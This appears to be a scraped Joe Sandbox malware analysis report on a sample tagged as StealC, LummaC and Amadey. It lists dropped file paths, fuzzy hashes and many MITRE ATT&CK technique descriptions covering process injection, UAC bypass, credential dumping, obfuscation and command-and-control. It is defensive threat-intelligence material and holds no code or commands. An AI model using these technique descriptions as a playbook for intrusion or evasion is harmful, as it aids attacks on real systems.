Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFIJKK

C:\ProgramData\BAEHIEBGHDAFIEBGIEHJECGCGC

C:\ProgramData\BGIJEGCG

C:\ProgramData\DBAEHCGHIIIDHIECFHJDHDGHDB

C:\ProgramData\EBGDHJECFCFCAKFHCFID

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre